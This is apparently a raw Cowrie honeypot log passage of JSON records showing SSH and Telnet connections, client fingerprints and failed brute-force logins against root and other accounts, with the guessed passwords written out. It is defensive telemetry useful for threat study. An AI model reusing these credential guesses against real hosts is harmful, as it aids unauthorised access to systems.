{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:dd:b4:42:ca:e3:d6:a3:7f:11:2c:27:12:db:ed:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCo5xWah0lqLRI8CiHFwuJZP/RsukndDuXKp5z5bDFB60iDDUBMp+H1BFZto1hjNkLKpIZSRCOcCX+IFMJ9PqGmxV/rfY6dZnbcIsynoX9ya2GV/7p0dc9td2CJ1+Yec05+iXHnjRDZ7lktE+/pd5rSp8Olu2LGfW/vrhWLyiUPHKskCmI+DpQBx5cNI38b1LoagLzRB8MmOBjRpn5fuGDo2yEB+Ps+73z44YLTVRC0pdXZJ4z4bpU0zeyccBIQMtn7jxA0l2GwhBqqUcQXmUQQryTjNOgJdZCQwxBNzA6NHlTDBJe9C2kxfsmAWV458y4iJAaFSv9gg1xsI2ORlqK3/oeJiUDzBgiHobvnJtEBQ/3fVdM5Mg0ra1ZE9lWbetZymDzssjCuD+XA9xJv4wm4OrOZAclnbTYWtnF8B0B/m1RfPjhaT6AW0Tonk3vvhfkt18oU511tj/9kw9ubzkmf74SA0dCAmffRM/oE5TdTIxF53W/8k8aSL5yVnIcGuxU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.607359Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.700555Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33974,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2a343a66210","protocol":"ssh","message":"New connection: 80.94.92.184:33974 (10.17.0.5:22) [session: b2a343a66210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:07.034747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:07.239337Z","src_ip":"80.94.92.184","session":"b2a343a66210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:07.242815Z","src_ip":"80.94.92.184","session":"b2a343a66210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:10.881710Z","src_ip":"80.94.92.184","session":"b2a343a66210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:12.498310Z","src_ip":"80.94.92.184","session":"b2a343a66210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":52916,"dst_ip":"159.203.135.109","dst_port":22,"session":"87bd7076374c","protocol":"ssh","message":"New connection: 103.176.20.57:52916 (159.203.135.109:22) [session: 87bd7076374c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:21.008596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:21.014359Z","src_ip":"103.176.20.57","session":"87bd7076374c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:21.268524Z","src_ip":"103.176.20.57","session":"87bd7076374c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z123321z","message":"login attempt [root/z123321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:22.030283Z","src_ip":"103.176.20.57","session":"87bd7076374c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:15:23.289024Z","src_ip":"103.176.20.57","session":"87bd7076374c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.21.67.153","src_port":21566,"dst_ip":"10.17.0.5","dst_port":22,"session":"15b143f79c64","protocol":"ssh","message":"New connection: 89.21.67.153:21566 (10.17.0.5:22) [session: 15b143f79c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:16:54.710578Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:16:54.790899Z","src_ip":"89.21.67.153","session":"15b143f79c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.226.140.76","src_port":2006,"dst_ip":"10.17.0.5","dst_port":22,"session":"e07ca0a439bc","protocol":"ssh","message":"New connection: 5.226.140.76:2006 (10.17.0.5:22) [session: e07ca0a439bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:19.747305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:19.751792Z","src_ip":"5.226.140.76","session":"e07ca0a439bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:19.824739Z","src_ip":"5.226.140.76","session":"e07ca0a439bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:19.915322Z","src_ip":"5.226.140.76","session":"e07ca0a439bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39610,"dst_ip":"159.203.135.109","dst_port":22,"session":"b338268469d3","protocol":"ssh","message":"New connection: 38.93.206.2:39610 (159.203.135.109:22) [session: b338268469d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:22.830942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:22.834355Z","src_ip":"38.93.206.2","session":"b338268469d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:22.883815Z","src_ip":"38.93.206.2","session":"b338268469d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0908070605","message":"login attempt [root/0908070605] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:23.055743Z","src_ip":"38.93.206.2","session":"b338268469d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:24.109826Z","src_ip":"38.93.206.2","session":"b338268469d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39058,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc812853e740","protocol":"telnet","message":"New connection: 172.81.62.90:39058 (159.203.135.109:23) [session: dc812853e740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:24.254699Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34518,"dst_ip":"10.17.0.5","dst_port":22,"session":"2641fc8dce6d","protocol":"ssh","message":"New connection: 27.71.230.31:34518 (10.17.0.5:22) [session: 2641fc8dce6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:49.066354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:49.106285Z","src_ip":"27.71.230.31","session":"2641fc8dce6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:49.303110Z","src_ip":"27.71.230.31","session":"2641fc8dce6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin3389","message":"login attempt [root/Admin3389] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:52.701397Z","src_ip":"27.71.230.31","session":"2641fc8dce6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:53.997109Z","src_ip":"27.71.230.31","session":"2641fc8dce6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.65989017486572,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:17:56.914477Z","src_ip":"172.81.62.90","session":"dc812853e740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":45442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2395ae321886","protocol":"telnet","message":"New connection: 94.23.66.112:45442 (10.17.0.5:23) [session: 2395ae321886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:00.755182Z"}
{"eventid":"cowrie.session.closed","duration":0.007416248321533203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:00.762467Z","src_ip":"94.23.66.112","session":"2395ae321886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":34560,"dst_ip":"10.17.0.5","dst_port":22,"session":"88b4ecd89f34","protocol":"ssh","message":"New connection: 147.45.211.215:34560 (10.17.0.5:22) [session: 88b4ecd89f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:18.060408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:18.065322Z","src_ip":"147.45.211.215","session":"88b4ecd89f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:18.244040Z","src_ip":"147.45.211.215","session":"88b4ecd89f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"faith1","message":"login attempt [root/faith1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:18.780447Z","src_ip":"147.45.211.215","session":"88b4ecd89f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:19.961453Z","src_ip":"147.45.211.215","session":"88b4ecd89f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a320439c0452","protocol":"telnet","message":"New connection: 172.81.62.90:37866 (159.203.135.109:23) [session: a320439c0452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:18:47.382546Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39968,"dst_ip":"159.203.135.109","dst_port":22,"session":"24fc880e5e37","protocol":"ssh","message":"New connection: 27.71.230.31:39968 (159.203.135.109:22) [session: 24fc880e5e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:05.927629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:05.945955Z","src_ip":"27.71.230.31","session":"24fc880e5e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:06.188284Z","src_ip":"27.71.230.31","session":"24fc880e5e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36726,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a68d22c3914","protocol":"ssh","message":"New connection: 80.94.92.184:36726 (10.17.0.5:22) [session: 2a68d22c3914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:08.879490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:19:09.190068Z","src_ip":"80.94.92.184","session":"2a68d22c3914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecd